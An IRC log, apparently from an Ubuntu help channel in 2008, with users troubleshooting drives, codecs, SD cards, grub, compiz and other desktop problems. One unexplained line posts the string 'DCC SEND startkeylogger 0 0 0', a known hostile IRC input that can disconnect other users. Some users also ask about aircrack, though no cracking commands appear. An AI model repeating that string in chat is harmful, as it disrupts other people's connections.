[03:21] <tarelerulz> Komputes , is that for  ripping movies or converting .avi you all ready have ? I want it for the ipod
[03:21] <Slade> luqui: you may want to try using another theme and see if it fixes the problem. if it does, you may even know where to go from there so you can use the previous theme without it affecting nautilus.
[03:21] <cloroxcowboy> "DCC SEND startkeylogger 0 0 0"
[03:21] <christoz> I'm looking for a good shell-script book (or e-book) for beginners, any suggestions?
[03:21] <komputes> tarelerulz: both, rip DVD or convert video
[03:21] <luqui> Slade, okay thanks
[03:22] <Schuenemann> why does ubuntu refer to my hard drives as sda, sdb and not hda, hdb?
[03:22] <Slade> luqui: no problem. If you're trying to get rid of nautilus all together, what do you plan to use?
[03:22] <IMTheNachoMan> Schuenemann: are they serial ATA ?
[03:22] <luqui> Slade, xmonad ;-)
[03:22] <Schuenemann> nope IDE
[03:22] <IMTheNachoMan> Schuenemann: word...i dont know
[03:22] <joustin> isnt that a good in the current kernal that causes that?
[03:22] <joustin> goof i meant
[03:22] <komputes> Schuenemann: there was a change at some point and even IDE disks stared being labeled as SCSI  disks, i ask myself why as well, but al least now it's always standard...
[03:23] <mahnamahna> hi, can someone help me get my hauppauge tv-tuner working?
[03:23] <qr_> Schuenemann: newish kernels like to call all kinds of things sdx instead of hdx ...
[03:23] <Slade> luqui: your other option, tho IMO undesirable is to uninstall nautilus and install xmonad. Create a symbolic link of xmonad and call it nautilus.
[03:23] <luqui> eeeeeewwwwwwww
[03:23] <Slade> luqui: ie: ln -s /usr/bin/xmonad /usr/bin/nautilus
[03:23] <luqui> yeah, first, that's system wide, and second, eeww :-)
[03:24] <Schuenemann> how would the usb sticks be referred now? sdc?
[03:24] <luqui> trying your suggestion Slade
[03:24] <Slade> luqui: hence why i said undesirable :)
[03:25] <Dragon_Master> =/
[03:25] <Dragon_Master> I hate java atm
[03:26] <Schuenemann> Dragon_Master, is java working or not?
[03:26] <morningwalker> Are there really no graphic drivers for VIA Unichrome graphic card??
[03:26] <Dragon_Master> nope
[03:27] <Schuenemann> then how do you expect it to work with firefox?
[03:27] <Dragon_Master> its not being detected
[03:27] <Schuenemann> is it installed?
[03:27] <Dragon_Master> yes
[03:27] <Dragon_Master> its installed
[03:27] <Dragon_Master> linked
[03:27] <Schuenemann> and it doesn't work
[03:27] <Dragon_Master> yea
[03:28] <morningwalker> Grrrr.
[03:28] <Schuenemann> type java -version
[03:28] <morningwalker> VIA GRAPHIC CARD SUCKS, N THATS WHAT I AM RUNNING ON FOR THE MOMENT... HOW SICK COULD THIS GET??
[03:28] <amt> hi, my ethernet connection is not working. I have a toshiba P305-S8842. I tried posting in the ubuntu forums but got no reply so far. ANy help would be appreciated.
[03:29] <morningwalker> amt: is it a static ip address or dynamic ip address??
[03:30] <The> anyone knows about aircrack????
[03:30] <Schuenemann> new drug?
[03:30] <amt> morningwalker, i connect to a LAN, so i supposed static? i am not sure
[03:30] <morningwalker> amt, static ip or dynamic ip??
[03:30] <morningwalker> ok
[03:30] <sudobash> so I have an alienware laptop with an SD card plugged in and it will mount and start to read from it but then it locks up and cant read the files... when I try to cp the pics to desktop from bash it tells me there is i/o error... but it will cp like 1 random pic and not the rest... it reads from windows but not from here... and when i try to mount it says superblock error... but it will work with -t vfat -f
[03:30] <Dragon_Master> I installed it manually
[03:31] <stylianos> Hey
[03:31] <hydroponics> I have a question about the Ubuntu graphic settings...
[03:31] <morningwalker> on the gnome panel there is a network icon with is resembled by 2computer one before the other.
[03:31] <Slade> !hi stylianos
[03:31] <Slade> !hi
[03:31] <stylianos> Is there a way to get cairo-dock running as soon as i login through my account?
[03:31] <freakachu> hey everyone
[03:31] <Schuenemann> Dragon_Master, what does java -version tell you?
[03:32] <morningwalker> just follow that
[03:32] <Dragon_Master> culd not find it in these packages
[03:32] <morningwalker> if you can be patient enough i am already making a tutorial for internet config, purely for static ip address
[03:32] <Dragon_Master> but it is installed
[03:32] <Dragon_Master> -_-
[03:33] <Slade> stylianos: yes, go to System, Preferences, Sessions
[03:33] <Slade> add it there
[03:33] <Dragon_Master> brb
[03:33] <amt> morningwalker, when i connect the ethernet cable, the little lights don't even blink, so i'm not sure if this is connection configuration
[03:33] <stylianos> slade: oh, thanks! :D =]
[03:33] <Slade> stylianos: you're welcome
[03:34] <stylianos> :)
[03:34] <mahnamahna> hi, anyone have time to help with a tv-tuner issue?
[03:34] <arvind_khadri> amt, try sudo dhclient eth0
[03:34] <Ven]n^> is dell's ubuntu version available to the masses?
[03:34] <T2> hi whats a good mp3 player on ubuntu
[03:35] <arvind_khadri> T2, there are dozens of them
[03:36] <Dragon_Master> back
[03:37] <laserbeak> hi
[03:37] <powertool08> how do I generate new openssh host keys?
[03:37] <laserbeak> i'm a windows noob
[03:37] <T2> arvind_khadri: can you list a few
[03:37] <laserbeak> and i'm using linux now
[03:37] <arcfide> Hello all, I'm having trouble finding an i386 library for libcurses so that I can run an i386 app on x86_64. Can anyone point me to the right way?
[03:37] <pld> any of you guys are watching the Republican Convention?
[03:38] <P0iS0NiVY> Go Obama :D
[03:38] <jStefan> !politics
[03:38] <almondbrot> listening on the radio
[03:38] <laserbeak> but i'm trying to install the latest ubuntu
[03:38] <laserbeak> from my hd
[03:38] <laserbeak> i found an example
[03:38] <laserbeak> but i'm using suse
[03:38] <laserbeak> and it's an example for ubuntu
[03:39] <ech0dish> I am having an irq conflict when I boot up, conflict is between ndiswrapper and something else that i am not sure of. i have blacklisted f32 and ssb and had ndiswrapper added to modules but now it is conflicting. is there any way i can add ndiswrapper to auto launch after i log into my gui?
[03:39] <T2> how can i install iTunes in ubuntu?
[03:39] <laserbeak> what's the difference between hda and sda?
[03:39] <almondbrot> T2: itunes doesn't run on linux
[03:39] <LinuxMercedes> T2--the only way you can do that is by using wine
[03:39] <qr_> laserbeak: 11 letters
[03:40] <laserbeak> that was good :)
[03:40] <jStefan> arcfide, did you try package ia32-libs ?
[03:40] <LinuxMercedes> T2: and it doesn't work all that well, IMHO
[03:40] <Dragon_Master> when I installed iTunes on Wine (Kubuntu) it was going nuts
[03:40] <laserbeak> qr_ but what's that mean
[03:40] <almondbrot> laserbeak: hd* is IDE and sd* is SCSI (not necessarily for real, but using the interface)
[03:40] <LinuxMercedes> Dragon_Master, that's my experience as well =[
[03:40] <Dragon_Master> like black screens
[03:40] <Dragon_Master> and all
[03:40] <Dragon_Master> xD
[03:40] <komputes> LinuxMercedes: you got itunes to work through wine? what version of itunes?
[03:41] <qr_> laserbeak: seriously though, it used to be hdx was for IDE drives and sdx was for SATA, but newish kernels like to call most everything sdx regardless
[03:41] <ech0dish> had to disable the wifi adapter in the bios to boot up
[03:41] <Dragon_Master> komputes, its screws up though
[03:41] <laserbeak> oh ok
[03:41] <laserbeak> yeah i suspected that cause i have SATA
[03:41] <LinuxMercedes> komputes, IIRC it's something like 7.6.  I don't use it at all now, since my iPod died
[03:41] <laserbeak> next question is why is there sda5 and sda7??
[03:41] <almondbrot> i have SATA, too, i had to change the mode to RAID from IDE, otherwise it wouldn't load linux at all
[03:41] <laserbeak> there are 2 partitions and a swap
[03:42] <Dragon_Master> LinuxMercedes, I stepped on my iPod Touch
[03:42] <Dragon_Master> xD
[03:42] <scribawf> Where do I find Printer Compatability listing for Linux?
[03:42] <LinuxMercedes> Dragon_Master, ouch!
[03:42] <Dragon_Master> IT still works
[03:42] <Dragon_Master> o.o
[03:42] <komputes> LinuxMercedes: Dragon_Master: I'm moving away from iBloatTunes since it's now like 80MB and started out being like 4 or 7 mb
[03:42] <Dragon_Master> xD
[03:42] <LinuxMercedes> wow.
[03:42] <Dragon_Master> komputes, because you have to get QuickTime too
[03:42] <Dragon_Master> =P
[03:43] <LinuxMercedes> Yeah, iTunes is horrible
[03:43] <jStefan> !print | scribawf
[03:43] <LinuxMercedes> I tried downloading it on dialup and gave up =]
[03:43] <Dragon_Master> I think Amarok can sync an iPod
[03:43] <Dragon_Master> =P
[03:43] <scribawf> ubottu: Thank You
[03:43] <komputes> LinuxMercedes: Dragon_Master: all i want is a quick mp3 player, it doesn't offer me that any more... but i have ratings and playlists that I want to bring in, that's whats really stopping me
[03:43] <almondbrot> no matter how crappy it is, iTunes' playback is pretty good
[03:43] <Wop1995> hello?
[03:43] <almondbrot> other audio software (on my mac) used to produce audio dropouts under heavy load, itunes never did
[03:43] <Dragon_Master> komputes, Creative Zen =P
[03:44] <Wop1995> can some one help me please?
[03:44] <Dragon_Master> that should work
[03:44] <komputes> Dragon_Master: nono not an mp3 player, an mp3 program...
[03:44] <Dragon_Master> xD
[03:44] <LinuxMercedes> komputes: I use Rhythmbox
[03:44] <Wop1995> I need to make a visul basic program compile
[03:44] <Dragon_Master> Amarok, or Kaffiene is my faves
[03:44] <komputes> OOooooo
[03:44] <komputes> Dragon_Master: Amarok is ok, hate the side pane
[03:44] <Dragon_Master> xD
[03:45] <Dragon_Master> but for non saved playlist
[03:45] <Dragon_Master> I use VLC
[03:45] <zelrikriando> Hi
[03:45] <komputes> Dragon_Master: kind of like the logic behind itunes, kind of like how rhytmbox displays the library and the playlists... at the same time amarok has awesome plugins
[03:45] <zelrikriando> I have no more sound
[03:45] <Wop1995> http://pastebin.com/d32042901
[03:45] <Wop1995> make it work please
[03:46] <eetfunk> hello all.  I have 80 gigs of data I want to archive, compress and span into 100 meg files.  What would be the best tool for that?  I think tar can't split into different files when compressing.  I don't want to use split after creating a huge archive either, it'll be too slow and too big.
[03:46] <scribawf> ubottu: U still Here?
[03:46] <jigp> hello if i have installed something and its not working or with errors , ill just rm -rf the folder?
[03:46] <zelrikriando> The mp3 are all giving error messages
[03:46] <zelrikriando> and I dont get anymore sound
[03:47] <komputes> zelrikriando: is this a fresh ubuntu installation?
[03:47] <Dragon_Master> komputes, I <3 VLC
[03:47] <Dragon_Master> xD
[03:47] <laserbeak> Here's my grub menu.lst file. i've tried to make a custom entry and have my initrd.gz and vmlinuz files along with the ubuntu .iso file in the /home directory on sda7 and i'm trying to show grub how to get to it  http://rafb.net/p/XZEWp652.html
[03:47] <zelrikriando> komputes, not at all..
[03:47] <Syco54645_AAO> can anyone tell me what the ubuntu kernel hacks are exactly?
[03:47] <Dragon_Master> been using it since my Window's days
[03:47] <Syco54645_AAO> is there a list?
[03:47] <zelrikriando> komputes, it didnt use to do that before...
[03:47] <LinuxMercedes> Wop1995, that's Visual Basic, which is Windows only.  Don't expect any help from a linux channel.  If nothing else try #windows
[03:47] <komputes> Dragon_Master: don't get me wron I effin' love VLC, but as a music library, not that great
[03:48] <Dragon_Master> I know
[03:48] <Dragon_Master> xD
[03:48] <Dragon_Master> gotta reload everytime
[03:48] <zelrikriando> komputes, it can only be an update or some random crash
[03:48] <scribawf> Have a KonicaMinolta Laser MC2300DL does not appear to be supported for Linux, any workarounds?
[03:48] <Dragon_Master> what I do is put a folder called music in Documents, and turn the folders to playlist and use open directory
[03:48] <Dragon_Master> =P
[03:49] <Dragon_Master> like...Music > 90's > Bands > Songs
[03:49] <Dragon_Master> then narrow down what I want and use open directory
[03:50] <Dragon_Master> =P
[03:50] <BrianMW> so i've got problems, i'm sort guessing in usplash, but i've really no idea
[03:51] <ahtmly2k> is there opera browser for hardy heron 64? whts the command to download it?
[03:52] <mahnamahna> hi, can anyone help me fix my hauppauge tv-tuner? or point me in a better place to get help?
[03:52] <BrianMW> 8.04, used wubi (after trying from cd itself, since i couldn't see anything).  wubi did fine installing + adding the boot option, boots up and gets to splash screen (think this screen:   http://news.softpedia.com/images/extra/LINUX/large/encryptedubuntuseventen-large_034.png)
[03:52] <arcfide> Does anyone know how to get the 32-bit version of libcurses onto my Ubunto installation?
[03:52] <BrianMW> but it never asks for password, the screen(s) just go dead and blank, one saying no input signal the other saying input out of signal range
[03:52] <arcfide> It's an x86_64 machine.
[03:52] <BrianMW> any ideas?
[03:53] <warp_sp> anybody have any good pointers on where to find backtrax for hardy heron?
[03:53] <Slade> mahnamahna: try opera.com?
[03:53] <_Tom> backtrack is its own distro
[03:53] <warp_sp> sorry not backtrax but automatix?
[03:53] <mahnamahna> wait, what on opera?
[03:53] <_Tom> unless your speaking of something else
[03:56] <TMN> i'm about to install ubuntu using entire hard disk - should i defrag my existing ntfs partition before that or is it completely unnecessary?
[03:56] <BrianMW> perhaps due to the gpu, hd radeon 4850, i need to change the resolution?
[03:56] <amenado> TMN-> no need,
[03:56] <lazarus_lupine> Hey all, got a sound issue. On a fresh install of Kubuntu I have no sound. I switched from a soundcard to onboard sound, and checked my connections and audio cables. Ubuntu sees my soundcard and loads to correct driver but no sound!! anybody feel like helping? I'm using a Via chipset w/ the ac97 codec.
[03:56] <warp_sp> just looking for automatix for hardy heron.... any ideas?
[03:56] <robert__> does anyone know how to change the shortcuts in compiz?
[03:57] <robert__> every time i try nothing shows in the edit box and it says invalid
[03:57] <wickedpuppy> anyone knows whats r!:: prompt is???
[03:57] <laserbeak> why the hell am i killing myself over an hdd install when i have blank cds?
[03:57] <XXX> hello
[03:57] <robert__> does anyone know how to edit the compiz shortcuts?
[03:58] <robert__> does anyone know how to edit the compiz shortcuts?
[03:58] <EagleSn> use compizconfig
[03:58] <bubaphex> hi all, any one able to tell me why i got this message when using apt-get install in terminal sudo: /etc/sudoers is owned by uid 1000, should be 0
[03:59] <robert__> does anyone know how to edit the compiz shortcuts?
[03:59] <_Tom> compiz... go to the settings manager (compizconfig), 2x click on the item, then check all the tabs, you'll see the shortcuts there. hope that helps robert__
[04:00] <stavros> anyone knows about aircrack???
[04:01] <_Tom> robert__ system, preferences, advanced desktop effects settings
[04:01] <wickedpuppy> anyone knows whats r!:: prompt is???
[04:01] <robert__> thanks
[04:01] <stavros> no
[04:02] <_Tom> stavros, aircrack is pretty intense to learn, google youtube aircrack and you'll find all you need to get started
[04:02] <stavros> the thing is i understand about aircrack only wap not wpa
[04:03] <_Tom> wickedpuppy, it sounds like you set the prompt to something nonstandard, restart your terminal and see if its still there
[04:03] <_Tom> or how did you get to it?
[04:04] <wickedpuppy> _Tom, i am helping someone and he got that prompt ... i have never seen that before so i am seeing if thats a program/language prompt like python prompt
[04:04] <stavros> first of all i bought the acer aspireone
[04:04] <stavros> then i got ubuntu installled
[04:04] <stavros> then i installed aircrack
[04:04] <djhash> what is a GUI program for sftp?
[04:05] <stavros> from that on it is easy to be on the terminal doing the cammands
[04:05] <robert__> the rain effect don't work. i changed it to control space
[04:05] <_Tom> wickedpuppy I think you're friend set his prompt wrong, i would try the whoami command, if he is in another type of prog that wont work, standard shell should tell you who you are
[04:05] <wickedpuppy> _Tom, thanks for the tip
[04:06] <_Tom> I hope its useful
[04:06] <djhash> ok.. question worded wrong.. what program to use for sftp.. GUI.. (non terminal)
[04:06] <wickedpuppy> that might be it
[04:06] <T2> is anyone familiar with running synergy in ubuntu to control 2 complters?
[04:07] <_Tom> djhash try gftp, I've heard good things about it
[04:08] <_Tom> djhash I havent used it though
[04:08] <djhash> _Tom: thanks.. i'll give it a try
[04:09]  * wickedpuppy seconds gftp
[04:09] <wickedpuppy> _Tom, his whoami returns root ... probably someone played with his prompt .. thanks
[04:10] <jigp> hello how to play some file .ots ? vlc cannot recognize .ots files. (music)
[04:12] <djhash> _Tom: neat little thing.. not much for eye candy.. but sure will get things done.. :-)
[04:12] <arodd> mplayer might play them
[04:13] <stavros> how to speed up ubuntu
[04:13] <danbhfive> stavros: buy a faster computer?
[04:13] <VanessaE> good evening.  Question:
[04:14] <stavros> no no no is there a way
[04:14] <sales_guy> I went to system settings, entered administrator mode, told it duplicate display on second display device... it told me I needed to log out and restart xserver. I logged out, got a grey screen... nothing I could do from there, so I had to power the machine down. When powering back up the video keeps refreshing and refreshing but is unable to start so it goes to command line mode
[04:14] <Guest11617> fd
[04:14] <danbhfive> stavros: whats going slow for you?
[04:14] <VanessaE> I have an Epson CX6400.  Memory cards work fine via it with Ubuntu (as USB mass storage)....except this new SD card I picked up.
[04:14] <stavros> runing applications
[04:14] <tj83> hello all, I have added a secondary group to my main user... and upon reboot it now is not in the "sudoer" file, any suggestions to restore this?
[04:14] <VanessaE> printer doesn't see it, computer doesn't show anything in dmesg that indicates that it can see it.  I think the card is merely unformatted, but how do I fix this?
[04:15] <stavros> plus there is a problem with update manager
[04:15] <danbhfive> sales_guy: have you tried reconfiguring xorg?  to get back to normal?
[04:15] <danbhfive> stavros: whats the problem?
[04:15] <arodd> VanessaE mkfs.msdos
[04:15] <sales_guy> danbhfive: and that would be done how?
[04:15] <stavros> ok we
[04:15] <VanessaE> arodd: the computer doesn't even *see* the card, so I can't even fdisk, let alone mkfs.*
[04:16] <foetus58> I need a program like ARES, which one would be the better option?
[04:16] <VanessaE> these SD cards confuse me :-/
[04:16] <stavros> ok when going to the update manager it doesn't do nothing
[04:16] <Odditie> Can anyone help me with something in OpenOffice? Is there anyway to change the way it rounds numbers? by default it rounds up, i need it to round down
[04:16] <stavros> but it shows there is an update
[04:16] <ASrock> ok i used vmware in ubuntu with windows xp pro and used my external usb drive with it and the external hard drive hasent worked sence
[04:17] <arodd> vanessaE: unformatted cards will show up in dmesg
[04:17] <danbhfive> !xconfig | sales_guy
[04:17] <VanessaE> aordd:  then my printer (which serves as the card reader) must be the issue :-/
[04:17]  * VanessaE sighs
[04:17] <arodd> lsusb and look for the card reader on the usb bus
[04:17] <danbhfive> stavros: isnt there a button you can press to start the update?
[04:17] <arodd> to see that it's recognized
[04:18] <VanessaE> arodd: it is.
[04:18] <VanessaE> /dev/sdc.
[04:18] <Odditie> actually i asked that wrong, I don't need it to round at all is the issue
[04:18] <VanessaE> Other types of cards (e.g. CF or SM) work fine with it.
[04:18] <arodd> you should be able to mkfs.msdos /dev/sdc no?
[04:18] <IdleOne> stavros: you either click install or click on check for it to check the repositories again
[04:18] <arodd> no need to make a partition
[04:19] <VanessaE> eh?  /dev/sdc without a partition number????
[04:19] <arodd> yeah
[04:19] <_Tom> wickedpuppy I would of course, reccomend that he not use root as a primary account, and create a different, non administrative account for that stuff
[04:19] <VanessaE> ok, I didn't try that
[04:19] <Prose> having trouble printing through samba. While shares can be accessed fine, but priting gives this error in CUPS: "Session setup failed: NT_STATUS_LOGON_FAILURE"
[04:19] <ahtmly2k> help... why cant i access opera's cache folder like i could on windows?
[04:19] <stavros> yes but from there on it says three update so as i go on to update it it doesn't do nothing
[04:19] <l0fls> any one ere wanna help me with a completely non ubuntu related issue?
[04:19] <ahtmly2k> i typed the address and it wont go
[04:19] <VanessaE> /dev/sdc: No medium found
[04:19] <VanessaE> bah!
[04:19] <Prose> l0fls: what is it ?
[04:19] <ahtmly2k> /home/ahtmly2k/.opera/cache4/
[04:19] <arodd> VanessaE: does the card have any read only mode
[04:19] <wickedpuppy> _Tom, he was from fedora and had a bad habit of logging in as root ... thats not fedora fault btw ... so no flaming here .. bad user habit
[04:20] <danbhfive> Odditie: http://wiki.services.openoffice.org/wiki/Documentation/How_Tos/Calc:_FLOOR_function
[04:20] <l0fls> i need somone to read a 2 minute speach and give me a opinion
[04:20] <VanessaE> arodd: yes, but it is set for "unlock",
[04:20] <Prose> l0fls: pastebin?
[04:20] <IdleOne> l0fls: put it in a pastebin
[04:20] <danbhfive> Odditie: see also the see also
[04:20] <Prose> and context ?
[04:20] <Odditie> thank you
[04:20] <Prose> l0fls: you gotta also give the context
[04:20] <l0fls> whats a pastebin?
[04:21] <danbhfive> l0fls: prepare to have several people tell you!
[04:21] <arodd> VanessaE: try gparted to initialize the disk
[04:21] <l0fls> i had to intierview a kid for fundamentals of speach class and make a 2 minute speach about it
[04:21] <goat|lappy> !pastebin
[04:21] <joustin> anyone know a dvd player that will actually work in ubuntu
[04:21] <joustin> wait let me rephrase that
[04:21] <arodd> VanessaE: set it as mbr
[04:22] <l0fls> kk ill make a pastebin now
[04:22] <joustin> one that works with a disc that is set to region1
[04:22] <Odditie> INT is what I was looking for, Thanks a lot dan
[04:22] <danbhfive> np
[04:22] <Prose> l0fls: it's a page http://pastebin.com/m558a494c
[04:22] <Prose> joustin: isn't region1 North America
[04:22] <VanessaE> ok...installing gparted.
[04:22] <l0fls> http://paste.ubuntu.com/43529/
[04:22] <l0fls> thats it there
[04:22] <arodd> didn't think of that
[04:23] <l0fls> can you guys pm me any ideas any critisim at all is helpfull
[04:23] <sales_guy> what is the command line command to shutdown or restart the computer?
[04:23] <VanessaE> gparted does not show the card.
[04:23] <l0fls> any ideas to make it last longer too thats currently like 1:20 i need a full 2 minutres
[04:23] <VanessaE> just my two hard disks.
 try vlc, I think it runs on linux
[04:23] <l0fls> it does
[04:23] <arodd> hmm
[04:23] <joustin> it works fine, but it cannot play any disc that has copy protection, kinda sucks
[04:24] <arodd> i know i've done it before
[04:24] <amanulla> using this command i would like to configure my graphics card
[04:24] <amanulla>  sudo gedit /etc/x11/xorg.config
 well, i dunno then
[04:24] <amanulla> i have cahnged something there but when im trying to save its showing this
[04:24] <amanulla> message
 shutdown -h no
[04:24] <ahtmly2k> help... why cant i access opera's cache folder like i could on windows?  i typed the address and it wont go: /home/ahtmly2k/.opera/cache4/
[04:24] <prince_jammys> l0fls: exactly what does that have to do with ubuntu?
[04:25] <Aquahallic> evenin' folks....
[04:25] <amanulla> Could not save the file /etc/x11/xorg.config.
[04:25] <amanulla> Unexpected error: File not found
[04:25] <Doonz> can someone help me with try to mount my raid array... not sure what the msg means http://paste.ubuntu.com/43484/
[04:25] <HymnToLife> ahtmly2k: where do you type the path?
[04:25] <amanulla> what to do any one pls/
[04:25] <Aquahallic> is it normal to see a disk identifier as 0x00000000
 shutdown --help
[04:25] <Prose> l0fls: whos this Nahliek dude ?
[04:26] <l0fls> prince_jammys: nothing i said that
[04:26] <prince_jammys> l0fls: so why are you pasting it here?
[04:26] <amanulla> using this command i would like to configure my graphics card
[04:26] <amanulla>   sudo gedit /etc/x11/xorg.config  i have cahnged something there but when im trying to save its showing this
[04:26] <amanulla>  message  Could not save the file /etc/x11/xorg.config.  Unexpected error: File not found what to do any one pls/
[04:26] <joustin> evrything i try to enable dvd playback wont work
[04:26] <l0fls> Prose: nahliek is a kid in my class i had to interview and write a speach about
[04:26] <l0fls> i need somone to read it and tell me what the think
[04:26] <Armored_Azrael> How does one install 32-bit libs under 64-bit ubuntu?
[04:26] <ahtmly2k> oops got it
[04:27] <ahtmly2k> nevermind
[04:27] <Prose> l0fls: yeah it's an okay speech
[04:27] <Armored_Azrael> I can't get the latest WINE to build due to lack of 32-bit freetype.
[04:27] <Prose> l0fls: a little quitch but all speeches tend to do that :P :)
[04:27] <hide1713> hi. How could I update man page database. Now I can read man page by input full name.But I can't search man page by man -k
[04:28] <l0fls> Prose: what do you mean by quitch?
[04:28] <prince_jammys> kitch. this isn't a channel for literary discussion.
[04:28] <hide1713> How to update man -k database?
[04:28] <l0fls> sorrry jeeez
[04:28] <amanulla> also when i closed it with out saving and reopened it its showing an empty file what to do?
[04:28] <BrianMW> can anyone point me in the right direction for changing usplash resolution, perhaps updating initramfs (does update-initramfs -u sound good?)
[04:28] <Armored_Azrael> Nevermind, I seem to have it. How does one change the library search path?
[04:28] <prince_jammys> kitsch, rather
[04:28] <Prose> prince_jammys: didnt know to spell that in english, I though french would do just fine
[04:28] <l0fls> thanks anyway guys
[04:29] <prince_jammys> Prose: yeah, i messed it up too. it's a german word
[04:29] <hide1713> Hi. anyone can help me. I googled but couldn't find answer
[04:29] <amanulla> any one for mee?
[04:29] <Prose> l0fls: look up kitsch, I think youll understand.. it doesn't mean it's bad... aside from that it's a good short description of a standard ambitious guy
[04:29] <hide1713> How to update man -k database?
[04:30] <arodd> VanessaE: try parted from cli using parted /dev/sdc then using mklabel msdos
[04:30] <Xcerca> whats a good way to find out what location you have for each device (/dev/??), I'm trying to set up an IR receiver and i just need to fill the field in /etc/lirc/hardware.conf that says REMOTE_DEVICE=   ,  any tips ?
[04:30] <arodd> VanessaE: then you can add a new partition from parted cli also
[04:30] <VanessaE> Error: Error opening /dev/sdc: No medium found
[04:31] <arodd> doesn't see the card for some reason
[04:31] <arodd> strange
[04:31] <VanessaE> yeah
[04:31] <arodd> well it can't be that its not formatted then...
[04:32] <hide1713> well. How to update man -k database. I try updatedb but can't work
[04:32] <Armored_Azrael> nvm got it
[04:32] <arodd> updatedb is for locate
[04:32] <hide1713> ok. I didn't find makewhatis in my system
[04:33] <hide1713> arodd, What kind of tool to update man page database?
[04:33] <Flannel> hide1713: mandb is the command
[04:33] <Dabbu> In sun virtualBox i have created a "vbox0" network interface for root user,but when i restart my computer i have to create this again.i used the command  "  sudo VBoxAddIF vbox0 root br0" for creating the interface
[04:34] <_Tom> theres only room enough for one tom here
[04:35] <hide1713> OK sudo mandb works
[04:35] <hide1713> Thanks guys
[04:35] <CorbinFox> does gcc compile differently than microsoft visual studio?  i'm getting errors in gcc about my C code that i dont get in MS visual studio
[04:36] <amanulla> any one using VMWARE or WINE here/
[04:36] <dhoey> 65yh
[04:36] <morningwalker> how can i mount all my partitions on ubuntu
[04:36] <_Tom> avoid wine if oyu can
[04:36] <Flannel> morningwalker: sudo mount -a
[04:36] <VanessaE> arodd: any other ideas?
[04:36] <amanulla> morningwalker:got o partition editor in system->administrator
[04:37] <Flannel> CorbinFox: Likely, yes.  If you want to come to #ubuntu-offtopic to discuss specific errors, or ##C
[04:37] <arodd> VanessaE: not really, i always thought of card readers as rather generic in their operation
[04:37] <amanulla> morningwalker:can u find it?
[04:37] <VanessaE> sigh :(
[04:37] <_Tom> but vmware is nice
[04:37] <morningwalker> Flannel, i did run sudo mount -a
[04:38] <amanulla> _Tom:do u use vmware?
[04:38] <arodd> should just prevent the block device
[04:38] <morningwalker> but i want the mounted permanently
[04:38] <arodd> present*
[04:38] <eydaimon> if I go to Administration | network  and change settings, it doesn't work. I end up having to use ifconfig and route to set the IP. how come? what am I doing wrong?
[04:38] <Flannel> morningwalker: You need to put them in your fstab
[04:38] <meoblast001> if im in ssh... how can i make a wget process start and then continue after i close the ssh session?
[04:38] <morningwalker> flannel: guide me please?
[04:38] <Xcerca> if im trying to look at a device in the /dev/ folder is there a way to see what it is ?
[04:38] <airtonix> meoblast001, with a program called screen
[04:38] <arodd> meoblast001: use screen
[04:38] <Flannel> meoblast001: You need to use screen or nohup
[04:39] <EagleSn> como pongo applets bonitos en Gnome?
[04:39] <meoblast001> explain screen
[04:39] <Flannel> morningwalker: Its /etc/fstab, and its actually fairly self explanatory.  What sort of partitions are these?
[04:39] <EagleSn> hay alguno que te muestre las fases de la Luna como en KDE4?
[04:39] <airtonix> screen is like remote virtual terminals
[04:39] <Xcerca> im in /dev/input and did ls and i want to see what each one is
[04:39] <arodd> meoblast001: apt-get install screen
[04:39] <Flannel> !es | EagleSn
[04:39] <morningwalker> Flannel, NTFS partitions
[04:39] <meoblast001> arodd: nevermind.. my webmin has a downloading manager.. i can use that
[04:39] <airtonix> meoblast001, screen is like having tabs on a ssh sessions...
[04:40] <Flannel> !ntfs-3g | morningwalker
[04:40] <arodd> meoblast001: you would run screen on the remote host
[04:40] <Flannel> morningwalker: that page will explain how to add them to your fstab
[04:40] <Fused> If I wanted to dual boot OpenSUSE, I can just create another partition, install, reboot, and it should be in the grub menu. Right?
[04:40] <powertool08> when I generate new ssh host keys with a passphrase the key won't load, without a passphrase it works fine, why won't it accept the passphrase?
[04:40] <arodd> Fused: probably not
[04:41] <Fused> How can I get it to work?
[04:41] <Flannel> Fused: You'll have to add it to your menu, the detection stuff only happens at install.
[04:41] <arodd> Fused: you may need to create a custom grub menu.lst that points to both installs partitions/kernels
[04:41] <Scorpio_Girl> hi..............
[04:41] <Fused> arodd or Flannel: how do I go about doing this?
[04:41] <lowlux> why does firefox crash when i am using youtube.com or stickam.com it locks up and stops working... like a freeze? this has been happing for about 2 to 3 years and is getting worse.... i am using the latest Ubuntu..  Ubuntu needs to fix this.  and quit ignoring it.
[04:42] <arodd> lowlux: you can install the flash 10 beta which doesn't do this
[04:42] <arooni-mobile> how do i edit a mp3 file on ubuntu hardy?  i want to cut off the end and then fade it out.  what software is easiest to do this?
[04:42] <Flannel> lowlux: It's likely due to flash.
[04:42] <Flannel> arooni-mobile: Try audacity
[04:42] <richal> hola
[04:42] <themoebius> hey, half my music collection just stopped working and rhythmbox says "internal GStreamer problem; file a bug" How can I get more info?
[04:42] <kbrosnan> arodd: the flash 10 plugin should not be recommended till firefox 3.0.2 is released, there is a common crasher in 3.0.1
[04:43] <richal> ¿aqui no habla nadie español?
[04:43] <Flannel> !es | richal
[04:43] <eydaimon> Flannel: any ideas?
[04:44] <arodd> Fused: http://www.supergrubdisk.org/wiki/Multi_Distribution_Boot_Howto
[04:44] <arodd> kbrosnan: there is a common crasher if you don't use flash 10 ;)
[04:44] <arodd> kbrosnan: comes down to usability, I haven't had mine crash yet, however flash 9 crashed all the time
[04:45] <arodd> kbrosnan: depends on the pages you visit I suppose
[04:45] <kbrosnan> arodd: no, flash 10 is bad for builds less than 3.0.1
[04:45] <cilkay> Fused: I didn't catch the beginning of the thread. Why do you want multiple distros? Are you evaluating? Running them as desktops or servers?
[04:45] <arodd> kbrosnan: which is the current version...no?
[04:46] <kbrosnan> arodd: 3.0.1
[04:46] <Fused> I want to dual Ubuntu/OpenSUSE, just to see what OpenSUSE looks like.
[04:46] <kbrosnan> arodd: http://blogs.adobe.com/penguin.swf/2008/08/windowless_mode_fix.html
[04:46] <cilkay> Fused: Why not try a live CD then?
[04:47] <lowlux> how do i install flash player 10?
[04:47] <l3d> ok I was wondering has any one used remastersys?
[04:47] <Fused> I am downloading the live CD of it, but I'm just wanting to find out, in case I do want to intall it.
[04:47] <cilkay> Fused: Virtual machines are pretty for dealing with this too.
[04:47] <arodd> kbrosnan: As a reminder, Firefox 3.0.1 has a known crash problem with a wide variety of windowless mode SWFs.
